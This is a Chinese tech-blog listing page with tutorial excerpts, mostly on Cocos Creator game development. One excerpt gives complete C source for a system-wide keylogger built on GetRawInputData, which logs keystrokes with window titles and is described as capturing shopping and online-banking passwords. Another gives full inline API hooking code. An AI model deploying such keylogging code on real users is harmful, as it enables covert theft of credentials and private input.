分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

文章列表

  • 【Cocos Creator 联机实战教程(1)】——初识Socket.io

    1.Socket.io简介Socket.io是一个实时通信的跨平台的框架
    1.1 websocket 和 socket.io 之间的区别是什么socket.io封装了websocket,同时包含了其它的连接方式,比如Ajax。原因在于不是所有的浏览器都支持websocket,通过socket.io的封装,你不用关心里面用了什么连接方式。你在任何浏览器里都可以使用socket.io来建立异步的连接。socket.io包含了服务端和客户端的库,如果在浏览器中使用了socket.io的js,服务端也必须同样适用。如果你很清楚你需要的就是websocket,那可以直接使用websocket。
    2. 服务器端Windows安装Node.js Express Socket.io2.1 下载Node.js官网下载最新版http://nodejs.cn/
    2.2 打开cmd2.2.1 下载Express
    npm install -g express

    2.2.2 下载Socket.io
    npm install -g socket.io


    3. Creator与服务器通信测试3.1 测试场景
    3.2 客户端脚本我是挂载在Canvas上,也可以选择直接挂载在Label上。
    onLoad: function () { let self = this; if (cc.sys.isNative) { window.io = SocketIO.connect; } else { require('socket.io'); } var socket = io('IP:端口'); socket.on('hello', function (msg) { self.label.string = msg; }); },
    记得下载socket.io并导入为插件
    3.3 服务器脚本(任意位置存放)let app = require('express')();let server = require('http').Server(app);let io =require('socket.io')(server);server.listen(4747,function(){ console.log('listening on:端口');});io.on ('connection',function(socket){ console.log('someone connected'); socket.emit('hello','success');});
    在服务端脚本存放的位置打开cmd
    输入

    npm link express

    输入

    npm link socket.io

    输入

    node test-server.js

    4. 总结不同的环境配置网络连接不同,要善于抓包发现问题。
    不过也从侧面看出cocos creator不是很适合做联网游戏,调试是真的恶心。
    本教程部分素材来源于网络。
    附上监听小程序,测试网络。
    1 回答 2018-12-06 15:02:34
  • 使用GetRawInputData函数实现键盘按键记录

    背景对于按键记录这方面的功能自己写过几个,实现的方式也都不同。例如在应用层,可以使用全局键盘钩子实现按键记录,也可以使用获取系统设备原始输入方式来实现按键记录。在内核层下,我们可以在驱动设备上面挂在一个键盘过滤设备,创建一个过滤驱动,就可以获取键盘消息等等。
    现在,我们主要讲解的是应用层上使用获取原始输入的方法实现的按键记录。这种方式比全局键盘钩子更加底层而且有效。很多软件,都能屏蔽全局键盘钩子对按键消息的获取。现在,我就把实现过程和原理整理成文档,分享给大家。
    函数声明RegisterRawInputDevices 函数
    注册提供原始输入数据的设备。
    函数声明
    BOOL WINAPI RegisterRawInputDevices( _In_ PCRAWINPUTDEVICE pRawInputDevices, _In_ UINT uiNumDevices, _In_ UINT cbSize);
    参数

    pRawInputDevices [in]一组RAWINPUTDEVICE结构,代表提供原始输入的设备。uiNumDevices [in]pRawInputDevices指向的RAWINPUTDEVICE结构的数量。cbSize [in]RAWINPUTDEVICE结构的大小(以字节为单位)。
    返回值

    如果函数成功,则为TRUE;否则为FALSE。如果函数失败,请调用GetLastError获取更多信息。
    备注

    要接收WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。默认情况下,应用程序不接收原始输入。要接收WM_INPUT_DEVICE_CHANGE消息,应用程序必须为RAWINPUTDEVICE结构的usUsagePage和usUsage字段指定的每个设备类指定RIDEV_DEVNOTIFY标志。默认情况下,应用程序不会收到WM_INPUT_DEVICE_CHANGE通知,用于原始输入设备到达和删除。如果RAWINPUTDEVICE结构具有RIDEV_REMOVE标志设置且hwndTarget参数未设置为NULL,则参数验证将失败。

    GetRawInputData 函数
    从指定的设备获取原始输入。
    函数声明
    UINT WINAPI GetRawInputData( _In_ HRAWINPUT hRawInput, _In_ UINT uiCommand, _Out_opt_ LPVOID pData, _Inout_ PUINT pcbSize, _In_ UINT cbSizeHeader);
    参数

    hRawInput [in]RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam。
    uiCommand [in]命令标志。 此参数可以是以下值之一:




    VALUE
    MEANING




    RID_HEADER
    从RAWINPUT结构获取头信息


    RID_INPUT
    从RAWINPUT结构获取原始数据




    pData [out]指向来自RAWINPUT结构的数据的指针。 这取决于uiCommand的值。 如果pData为NULL,则在* pcbSize中返回所需的缓冲区大小。
    pcbSize [in,out]pData中数据的大小(以字节为单位)。
    cbSizeHeader [in]RAWINPUTHEADER结构的大小(以字节为单位)。

    返回值

    如果pData为NULL且函数成功,则返回值为0。如果pData不为空,函数成功,返回值为复制到pData中的字节数。如果有错误,返回值为(UINT)-1。

    实现原理使用原始输入的方法实现的按键记录程序,大致可以分成三个部分:注册原始输入设备、获取原始输入数据、保存按键信息。现在,我们分别对这 3 个部分一一进行解析。
    注册原始输入设备我们使用获取原始输入的方法来实现按键纪录,默认情况下,应用程序不接收原始输入。要接收原始输入 WM_INPUT 消息,应用程序必须首先使用 WIN32 API 函数 RegisterRawInputDevices 注册原始输入设备。
    在注册原始输入设备中,RAWINPUTDEVICE 结构体中的 RIDEV_INPUTSINK 成员表示,即使程序不是处于上层窗口或是激活窗口,程序依然可以接收原始输入,但是,结构体成员目标窗口的句柄 hwndTarget 必须要被指定。
    所以,在初始化 RAWINPUTDEVICE 结构体之后,调用 RegisterRawInputDevices 函数注册一个原始输入设备。
    获取原始输入数据在注册原始输入设备之后,我们可以在程序窗口过程函数中,捕获 WM_INPUT 消息,并在 WM_INPUT 中调用 GetInputRawData 来获取原始输入数据。
    其中,WM_INPUT 中的 lParam 参数,存储这原始输入的句柄。那么,直接调用 GetInputRawData 函数,根据句柄获取 RAWINPUT 原始输入结构体的数据。其中,RAWINPUT.header.dwType 表示按键输入类型;RAWINPUTDATA 结构体按键消息成员 RAWINPUTDATA.data.keyboard.Message 如果为 WM_KEYDOWN,则表示普通按键,若为 WM_SYSKEYDOWN 则表示系统按键。这时,键盘按键数据就是 RAWINPUTDATA.data.keyboard.VKey 成员,这是一个按键的虚拟键码,需要转换成 ASCII 码来保存。
    那么,接下来就将从原始输入中获取的虚拟键码进行转换和保存。
    保存按键信息我们将虚拟键码与ASCII码的对应信息保存在头文件见 VirtualKeyToAscii.h 中,我们直接调用自定义函数 GetKeyName 就可以实现虚拟键码与ASCII码的转换。
    除了获取按键的信息,我们还获取的按键窗口标题的信息,帮助我们判断此时输入的是什么数据。通过 GetForegroundWindow 函数获取顶层窗口的句柄,然后调用 GetWindowText 函数就可以获取窗口的句柄。
    然后,我们将按键数据和窗口标题信息一起追加保存到文件中。
    编码实现注册原始输入设备// 注册原始输入设备BOOL Init(HWND hWnd){ // 设置 RAWINPUTDEVICE 结构体信息 RAWINPUTDEVICE rawinputDevice = {0}; rawinputDevice.usUsagePage = 0x01; rawinputDevice.usUsage = 0x06; rawinputDevice.dwFlags = RIDEV_INPUTSINK; rawinputDevice.hwndTarget = hWnd; // 注册原始输入设备 BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice)); if (FALSE == bRet) { ShowError("RegisterRawInputDevices"); return FALSE; } return TRUE;}
    获取原始输入数据// 获取原始输入数据BOOL GetData(LPARAM lParam){ RAWINPUT rawinputData = { 0 }; UINT uiSize = sizeof(rawinputData); // 获取原始输入数据的大小 ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER)); if (RIM_TYPEKEYBOARD == rawinputData.header.dwType) { // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) || (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)) { // 记录按键 SaveKey(rawinputData.data.keyboard.VKey); } } return TRUE;}
    保存按键记录// 保存按键信息void SaveKey(USHORT usVKey){ char szKey[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szText[MAX_PATH] = { 0 }; FILE *fp = NULL; // 获取顶层窗口 HWND hForegroundWnd = ::GetForegroundWindow(); // 获取顶层窗口标题 ::GetWindowText(hForegroundWnd, szTitle, 256); // 将虚拟键码转换成对应的ASCII ::lstrcpy(szKey, GetKeyName(usVKey)); // 构造按键记录信息字符串 ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey); // 打开文件写入按键记录数据 ::fopen_s(&fp, "keylog.txt", "a+"); if (NULL == fp) { ShowError("fopen_s"); return; } ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp); ::fclose(fp);}
    程序测试我们直接运行程序,然后创建一个Office Word文档,输入名称“520”,接着打开文档,输入一段字字母、数字、标点符号等,进行测试。输入情况如下所示:

    按键结束后,我们关闭程序,打开按键记录文件,查看按键记录。程序成功记录下所有按键信息:

    总结这个程序功能比较强大,实现不难理解。而且,我们只需用普通权限,就可以获取系统上差不多所有进程的按键记录。例如:Office Word、浏览器输入的淘宝账号和密码、浏览器输入的网银账号和密码等等。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-04 11:59:48
  • 【Cocos Creator实战算法教程(2)】——get47

    1. 规则
    游戏操作仿的是天天爱消除,点击一个方块向相邻的方块滑动就会交换两个方块
    当没有可移动的方块时,可以点击下面的update按钮
    横向相连的方块数字之和会增加分数,纵向相连的方块数字之和会减少分数
    最终目的就是get47

    2. 整体思路搭建游戏场景

    Tile就代表方块,TileLayout就是用来装Tile的,当然我们还是会在脚本里动态添加tile
    先来看一下Tile的脚本
    Tile.js
    cc.Class({ extends: cc.Component, properties: { pics:{ type:cc.SpriteFrame, default:[], }, _type:1, posIndex:cc.Vec, type:{ set:function(value){ this._type = value; this.node.getComponent(cc.Sprite).spriteFrame = this.pics[value-1]; }, get:function(){ return this._type; } }, isAlive:true }, onLoad: function () { this.initType(); }, initType:function(){ this.type = Math.floor(Math.random()*this.pics.length) + 1 ; },});
    这里有三个重要的属性,type,isAlive,posIndex,先记住它们
    再来看一下TileController的脚本的主要方法

    这几个方法里最核心的就是中间的三个:deleteTiles,fallTiles,addTiles
    顾名思义,

    deleTiles:删除相连接的方块
    fallTiles:deleTiles后会有一些空白,这时就需要把上面的方块落下来
    addTiles:fallTiles后上面就有一些空白,所以就要在上面填上新的方块

    3. 主要思路
    Tile里有一个posIndex,这个属性是用来标记tile的位置信息的,之所以要用一个属性来标记,而不是直接移动位置,是为了实现tile的动画效果,因为在fallTiles时,会有很多的tile同时落下,我们的做法是先把所有要下落的tile找出来,然后一起让他们执行动作:position=posIndex
    4. 总结这种消除类的游戏要注意判断游戏状态的结束,因为有连消的存在。
    本教程部分素材来源网络。
    1 回答 2018-12-03 23:29:47
  • 实现32位和64位系统的Inline Hook API

    背景API HOOK技术是一种用于改变API执行结果的技术,Microsoft 自身也在 Windows 操作系统里面使用了这个技术,如Windows兼容模式等。 API HOOK 技术并不是计算机病毒专有技术,但是计算机病毒经常使用这个技术来达到隐藏自己的目的。
    本文就是向大家讲解在 32 位系统和 64 位系统下的 Inline Hook Api 技术的具体实现,现在,我就把实现思路和原理整理成文档,分享给大家。
    实现原理我们程序的 Inline Hook API 实现原理不难理解,核心原理就是获取进程中,指定 API 函数的地址,然后修改该函数入口地址的前几个字节,修改为跳转到我们的新 API 函数,执行我们自己的操作。
    要注意区分 32 位系统和 64 位系统,因为 32 位和 64 位系统的指针长度是不同的,导致地址长度也不同。32 位下用 4 字节表示地址,而 64 位下使用 8 字节来表示地址。
    在 32 位下,汇编跳转语句为:
    jmp _dwNewAddress
    机器码为:
    e9 _dwOffset(跳转偏移)
    其中,要注意理解跳转偏移的计算方法:
    addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即 eip 的值addr2 --> 跳转地址的值,即 _dwNewAddress 的值跳转偏移 _dwOffset = addr2 - addr1
    在 64 位下,汇编跳转语句为:
    mov rax, _dwNewAddress(0x1122334455667788)jmp rax
    机器码为:
    48 b8 _dwNewAddress(0x1122334455667788)ff e0
    所以,32 位下要更改前 5 字节数据; 64 位下要更改前 12 字节数据。
    那么 HOOK 的流程为:

    首先,我们从进程中获取 HOOK API 对应的模块基址,这样,就可以使用 GetProcAddress 函数获取 API 函数的在进程中的地址。
    然后,我们根据 32 位和 64 位版本,计算 HOOK API 函数的前几字节数据。
    接着,修改 API 函数的前几字节数据的页面保护属性,更改为可读、可写、可执行,然后,我们便获取原来前几字节数据后,再写入新的跳转数据。
    最后,还原页面保护属性。

    UNHHOK 的流程基本上和 HOOK 的流程是一样的,只不过这次写入的数据是之前保存的前几字节数据。这样,API函数又恢复正常了。
    编码实现Hook API// Hook ApiBOOL HookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 // 32位 // 汇编代码:jmp _dwNewAddress // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pNewData[5] = {0xe9, 0, 0, 0, 0}; DWORD dwNewDataSize = 5; DWORD dwOffset = 0; // 计算跳转偏移 dwOffset = (DWORD)NewMessageBoxA - ((DWORD)OldMessageBoxA + 5); ::RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));#else // 64位 // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788) // jmp rax // 机器码是: // 48 b8 _dwNewAddress(0x1122334455667788) // ff e0 BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; DWORD dwNewDataSize = 12; ULONGLONG ullNewFuncAddr = (ULONGLONG)NewMessageBoxA; ::RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 保存原始数据 ::RtlCopyMemory(g_pOldData, OldMessageBoxA, dwNewDataSize); // 开始修改 MessageBoxA 函数的前几字节数据, 实现 Inline Hook API ::RtlCopyMemory(OldMessageBoxA, pNewData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    Unhook Api// Unhook ApiBOOL UnhookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 DWORD dwNewDataSize = 5;#else DWORD dwNewDataSize = 12;#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 恢复数据 ::RtlCopyMemory(OldMessageBoxA, g_pOldData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    新 API 函数// 新的 APIint WINAPI NewMessageBoxA( HWND hWnd, // handle to owner window LPCTSTR lpText, // text in message box LPCTSTR lpCaption, // message box title UINT uType // message box style ){ // Unhook UnhookApi_MessageBoxA(); // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 typedef_MessageBoxA OldMessageBoxA = (typedef_MessageBoxA)::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } int iRet = OldMessageBoxA(hWnd, "I am Nobody!!!", "Who Am I", MB_YESNO); // Hook HookApi_MessageBoxA(); return iRet;}
    程序测试我们直接运行一个加载程序,首先,先调用 MessageBoxA 函数,这是还没有执行 API HOOK,正常弹窗:

    然后,使程序加载 InlineHookApi_Test.dll ,这样,DLL 便会在入口点函数 DllMain 中就开始 Hook 进程中的 MessageBoxA 函数。在调用 MessageBoxA 函数进行测试,数据成功更改,HOOK API 成功:

    测试了 32 位版本系统成功,测试了 64 位版本系统也成功。
    总结要注意两个地方:

    一是在修改导出函数地址前几字节数据的时候,建议先对页面属性保护重新设置一下,可以调用 VirtualProtect 函数将页面属性保护设置成 可读、可写、可执行的属性 PAGE_EXECUTE_READWRITE。这样,我们在对这块内存操作的时候,就不会报错。
    二是我们在创建新的API来替代就的API函数的时候,新API函数声明一定要加上 WINAPI(__stdcall)的函数调用约定,否则新函数会默认使用 C 语言的调用约定。否则,会在函数返回,堆栈平衡操作的时候会报错的。

    参考参考自《Windows黑客编程技术详解》一书
    3 回答 2018-12-03 08:51:07
  • 【Cocos Creator实战算法教程(1)】——扫雷

    今天开始,我们开始完整做游戏,熟悉一下制作游戏的流程,然后我们就可以大概了解一下几个经典小游戏的算法。
    1. 主要思路扫雷游戏里有很多小方块,我们这里用Tile表示方块的含义,我们用网格的Layout存放这些Tile,按照扫雷高级难度的标准我们要添加16x30个Tile,这里定义一个Tile的大小为30x30,Layout的大小就是480x900

    很明显我们要用脚本想Layout里动态添加Tile,所以这里我们要制作一个Tile 的Prefab (忘了的同学回去看看实战一)

    这个Tile还是有很多种形态的,就像这些

    我们知道Tile是可以点击的,点开前我们可以对他进行标记(插旗,问号),点开后他会显示周围雷的情况(1到8或者空或者是雷),我们为Tile添加两个用于区别的属性,一个是state,一个是type,state代表Tile的点击状态,包括:None(未点击),Flag(插旗),Doubt(疑问),Cliked(点开),type代表Tile点开后的种类,包括数字和雷,之所以要用两个属性区别,是因为我们要对每一个Tile进行初始化,每一个Tile在开始游戏时就要确定下来。
    Tile.js
    const TYPE = cc.Enum({ ZERO:0, ONE:1, TWO:2, THREE:3, FOUR:4, FIVE:5, SIX:6, SEVEN:7, EIGHT:8, BOMB:9});const STATE = cc.Enum({ NONE:-1,//未点击 CLIKED:-1,//已点开 FLAG:-1,//插旗 DOUBT:-1,//疑问});//其他脚本访问module.exports = { STATE:STATE, TYPE:TYPE,};cc.Class({ extends: cc.Component, properties: { picNone:cc.SpriteFrame, picFlag:cc.SpriteFrame, picDoubt:cc.SpriteFrame, picZero:cc.SpriteFrame, picOne:cc.SpriteFrame, picTwo:cc.SpriteFrame, picThree:cc.SpriteFrame, picFour:cc.SpriteFrame, picFive:cc.SpriteFrame, picSix:cc.SpriteFrame, picSeven:cc.SpriteFrame, picEight:cc.SpriteFrame, picBomb:cc.SpriteFrame, _state: { default: STATE.NONE, type: STATE, visible: false }, state: { get: function () { return this._state; }, set: function(value){ if (value !== this._state) { this._state = value; switch(this._state) { case STATE.NONE: this.getComponent(cc.Sprite).spriteFrame = this.picNone; break; case STATE.CLIKED: this.showType(); break; case STATE.FLAG: this.getComponent(cc.Sprite).spriteFrame = this.picFlag; break; case STATE.DOUBT: this.getComponent(cc.Sprite).spriteFrame = this.picDoubt; break; default:break; } } }, type:STATE, }, type: { default:TYPE.ZERO, type:TYPE, }, }, showType:function(){ switch(this.type){ case TYPE.ZERO: this.getComponent(cc.Sprite).spriteFrame = this.picZero; break; case TYPE.ONE: this.getComponent(cc.Sprite).spriteFrame = this.picOne; break; case TYPE.TWO: this.getComponent(cc.Sprite).spriteFrame = this.picTwo; break; case TYPE.THREE: this.getComponent(cc.Sprite).spriteFrame = this.picThree; break; case TYPE.FOUR: this.getComponent(cc.Sprite).spriteFrame = this.picFour; break; case TYPE.FIVE: this.getComponent(cc.Sprite).spriteFrame = this.picFive; break; case TYPE.SIX: this.getComponent(cc.Sprite).spriteFrame = this.picSix; break; case TYPE.SEVEN: this.getComponent(cc.Sprite).spriteFrame = this.picSeven; break; case TYPE.EIGHT: this.getComponent(cc.Sprite).spriteFrame = this.picEight; break; case TYPE.BOMB: this.getComponent(cc.Sprite).spriteFrame = this.picBomb; break; default:break; } }});
    在Game脚本里设置一些游戏参数
    Game.js
    const GAME_STATE = cc.Enum({ PREPARE:-1, PLAY:-1, DEAD:-1, WIN:-1});const TOUCH_STATE = cc.Enum({ BLANK:-1, FLAG:-1,});cc.Class({ extends: cc.Component, properties: { tilesLayout:cc.Node, tile:cc.Prefab, btnShow:cc.Node, tiles:[],//用一个数组保存所有tile的引用,数组下标就是相应tile的tag picPrepare:cc.SpriteFrame, picPlay:cc.SpriteFrame, picDead:cc.SpriteFrame, picWin:cc.SpriteFrame, gameState:{ default:GAME_STATE.PREPARE, type:GAME_STATE, }, touchState:{//左键点开tile,右键插旗 default:TOUCH_STATE.BLANK, type:TOUCH_STATE, }, row:0, col:0, bombNum:0, }, onLoad: function () { this.Tile = require("Tile"); var self = this; for(let y=0;y<this.row;y++){ for(let x=0;x<this.col;x++){ let tile = cc.instantiate(this.tile); tile.tag = y*this.col+x; tile.on(cc.Node.EventType.MOUSE_UP,function(event){ if(event.getButton() === cc.Event.EventMouse.BUTTON_LEFT){ self.touchState = TOUCH_STATE.BLANK; }else if(event.getButton() === cc.Event.EventMouse.BUTTON_RIGHT){ self.touchState = TOUCH_STATE.FLAG; } self.onTouchTile(this); }); this.tilesLayout.addChild(tile); this.tiles.push(tile); } } this.newGame(); }, newGame:function(){ //初始化场景 for(let n=0;n<this.tiles.length;n++){ this.tiles[n].getComponent("Tile").type = this.Tile.TYPE.ZERO; this.tiles[n].getComponent("Tile").state = this.Tile.STATE.NONE; } //添加雷 var tilesIndex = []; for(var i=0;i<this.tiles.length;i++){ tilesIndex[i] = i; } for(var j=0;j<this.bombNum;j++){ var n = Math.floor(Math.random()*tilesIndex.length); this.tiles[tilesIndex[n]].getComponent("Tile").type = this.Tile.TYPE.BOMB; tilesIndex.splice(n,1);//从第n个位置删除一个元素 //如果没有splice方法可以用这种方式 // tilesIndex[n] = tilesIndex[tilesIndex.length-1]; // tilesIndex.length--; } //标记雷周围的方块 for(var k=0;k<this.tiles.length;k++){ var tempBomb = 0; if(this.tiles[k].getComponent("Tile").type == this.Tile.TYPE.ZERO){ var roundTiles = this.tileRound(k); for(var m=0;m<roundTiles.length;m++){ if(roundTiles[m].getComponent("Tile").type == this.Tile.TYPE.BOMB){ tempBomb++; } } this.tiles[k].getComponent("Tile").type = tempBomb; } } this.gameState = GAME_STATE.PLAY; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picPlay; }, //返回tag为i的tile的周围tile数组 tileRound:function(i){ var roundTiles = []; if(i%this.col > 0){//left roundTiles.push(this.tiles[i-1]); } if(i%this.col > 0 && Math.floor(i/this.col) > 0){//left bottom roundTiles.push(this.tiles[i-this.col-1]); } if(i%this.col > 0 && Math.floor(i/this.col) < this.row-1){//left top roundTiles.push(this.tiles[i+this.col-1]); } if(Math.floor(i/this.col) > 0){//bottom roundTiles.push(this.tiles[i-this.col]); } if(Math.floor(i/this.col) < this.row-1){//top roundTiles.push(this.tiles[i+this.col]); } if(i%this.col < this.col-1){//right roundTiles.push(this.tiles[i+1]); } if(i%this.col < this.col-1 && Math.floor(i/this.col) > 0){//rihgt bottom roundTiles.push(this.tiles[i-this.col+1]); } if(i%this.col < this.col-1 && Math.floor(i/this.col) < this.row-1){//right top roundTiles.push(this.tiles[i+this.col+1]); } return roundTiles; }, onTouchTile:function(touchTile){ if(this.gameState != GAME_STATE.PLAY){ return; } switch(this.touchState){ case TOUCH_STATE.BLANK: if(touchTile.getComponent("Tile").type === 9){ touchTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; this.gameOver(); return; } var testTiles = []; if(touchTile.getComponent("Tile").state === this.Tile.STATE.NONE){ testTiles.push(touchTile); while(testTiles.length){ var testTile = testTiles.pop(); if(testTile.getComponent("Tile").type === 0){ testTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; var roundTiles = this.tileRound(testTile.tag); for(var i=0;i<roundTiles.length;i++){ if(roundTiles[i].getComponent("Tile").state == this.Tile.STATE.NONE){ testTiles.push(roundTiles[i]); } } }else if(testTile.getComponent("Tile").type > 0 && testTile.getComponent("Tile").type < 9){ testTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; } } this.judgeWin(); } break; case TOUCH_STATE.FLAG: if(touchTile.getComponent("Tile").state == this.Tile.STATE.NONE){ touchTile.getComponent("Tile").state = this.Tile.STATE.FLAG; }else if(touchTile.getComponent("Tile").state == this.Tile.STATE.FLAG){ touchTile.getComponent("Tile").state = this.Tile.STATE.NONE; } break; default:break; } }, judgeWin:function(){ var confNum = 0; //判断是否胜利 for(let i=0;i<this.tiles.length;i++){ if(this.tiles[i].getComponent("Tile").state === this.Tile.STATE.CLIKED){ confNum++; } } if(confNum === this.tiles.length-this.bombNum){ this.gameState = GAME_STATE.WIN; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picWin; } }, gameOver:function(){ this.gameState = GAME_STATE.DEAD; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picDead; }, onBtnShow:function(){ if(this.gameState === GAME_STATE.PREPARE){ this.newGame(); } if(this.gameState === GAME_STATE.DEAD){ // this.bombNum--; this.newGame(); } if(this.gameState === GAME_STATE.WIN){ // this.bombNum++; this.newGame(); } }});

    最后加上扫雷算法
    2. 扫雷算法2.1 随机添加地雷:这里要保证每次添加的地雷位置都不能重复
    var tilesIndex = [];for(var i=0;i<this.tiles.length;i++){ tilesIndex[i] = i;}for(var j=0;j<this.bombNum;j++){ var n = Math.floor(Math.random()*tilesIndex.length); this.tiles[tilesIndex[n]].getComponent("Tile").type = this.Tile.TYPE.BOMB; tilesIndex.splice(n,1);//从第n个位置删除一个元素 //如果没有splice方法可以用这种方式 // tilesIndex[n] = tilesIndex[tilesIndex.length-1]; // tilesIndex.length--;}
    2.2 计算Tile周围雷的数目先要建立一个能得到Tile周围Tile数组的方法(Game.js里的tileRound方法),要注意边界检测,然后对返回的Tile数组判断Type就行了
    2.3 点开相连空地区域最简单的方法是用递归,但是调用函数的次数太多了,然后Creator就出Bug了,所以这里我们用一种非递归的方式实现
    简单的流程图示意:
    从点开的这个Tile进行处理,调用tileRound方法判断周围Tile是否是空地且未被点开,如果不是,则跳过,如果是,则将其自动点开,同时把这几个位置加入栈循环判断。流程图如下:当前位置是空白位置?----否---> 非空白的处理 | | 是 | V 入栈 | V+--->栈为空?-------->是---> 结束| || |否| || V| 出栈一个元素| || V| 点开该元素所指的位置| || V| 上左下右的位置如果是空白且未点开则入栈| |--------+3. 总结来一句算法的名言:所有递归都能转化为循环
    并且不得不感慨,cocos creator 更多是为策划服务,而非开发。开发入门可以,太高深的算法就死了,当然,creator编辑器一直在进化。
    本教程部分资源来源于网络。
    3 回答 2018-12-02 17:35:45
  • 【Cocos Creator实战教程(14)】——打包游戏(修改图标)

    1. 步骤我们打包一个Android的Apk

    模板选择binary可以快速打包,Portrait竖屏,Upside Down倒屏,Landscape Left左右横屏,Landscape Right右左横屏
    我们先点击构建

    构建完成后我们找到构建的目录(就是上面的build文件夹)
    build/jsb-binary/frameworks/runtime-src/proj.android/res/

    将里面的图标换成我们的女主角

    替换完成后再点击编译
    进入下面的目录就可以看见我们的Apk文件了

    2. 总结到这里,游戏差不多就做完了,接下来我会讲几个游戏中的算法。
    同志们一定要记住多学多练,另外有什么想做的游戏也可以留言给我呀。
    本教程部分资源来源于网络。
    2 回答 2018-12-01 20:29:47
  • 【Cocos Creator实战教程(13)】——播放声音

    1. 相关知识点1.1 使用 AudioSource 组件播放创建一个空节点,在这个空节点上,添加一个 其他组件 -> AudioSource在脚本上预设好 AudioSource,并且根据实际需求,完善脚本的对外接口,如下:
    cc.Class({ properties: { audioSource: { type: cc.AudioSource, default: null }, }, play: function () { this.audioSource.play(); }, pause: function () { this.audioSource.pause(); },});
    1.2 使用 AudioEngine 播放在脚本内定义一个 audioClip 资源对象,如下示例中 properties 对象内。直接使用 cc.audioEngine.play(audio, loop, volume); 播放。如下示例中 onLoad 中。
    cc.Class({ properties: { audio: { default: null, type: cc.AudioClip } }, onLoad: function () { this.current = cc.audioEngine.play(this.audio, false, 1); }, onDestroy: function () { cc.audioEngine.stop(this.current); }});
    AudioEngine 播放的时候,需要注意这里的传入的是一个完整的 AudioClip 对象(而不是 url)。 所以我们不建议在 play 接口内直接填写音频的 url 地址,而是希望大家先定义一个 AudioClip,然后在编辑器内将音频拖拽过来。
    2. 步骤播放声音有两种方式
    2.1 组件AudioSourceplay ( )播放音频剪辑。stop ( )停止当前音频剪辑。pause ( )暂停当前音频剪辑。resume ( )恢复播放。rewind ( )从头开始播放。
    2.2 声音系统//背景音乐,循环cc.audioEngine.playMusic(source);cc.audioEngine.stopMusic(source);//短音效cc.audioEngine.playEffect(source);cc.audioEngine.stopEffect(source);
    上面的第一种方法原生平台有很多Bug,所以我们的游戏都用的第二种方法播放声音
    3.总结加上音效,让游戏锦上添花
    本教程部分资源来源于网络。
    2 回答 2018-12-01 20:12:02
  • 【Cocos Creator实战教程(12)】——存储与读取数据

    1. 相关知识点我们在游戏中通常需要存储用户数据,如音乐开关、显示语言等,如果是单机游戏还需要存储玩家存档。 Cocos Creator 中我们使用 cc.sys.localStorage 接口来进行用户数据存储和读取的操作。
    1.1 存储数据cc.sys.localStorage.setItem(key, value)
    上面的方法需要两个参数,用来索引的字符串键值 key,和要保存的字符串数据 value。
    假如我们要保存玩家持有的金钱数,假设键值为 gold:
    cc.sys.localStorage.setItem('gold', 100);
    对于复杂的对象数据,我们可以通过将对象序列化为 JSON 后保存:
    userData = { name: 'Tracer', level: 1, gold: 100};cc.sys.localStorage.setItem('userData', JSON.stringify(userData));
    1.2 读取数据cc.sys.localStorage.getItem(key)
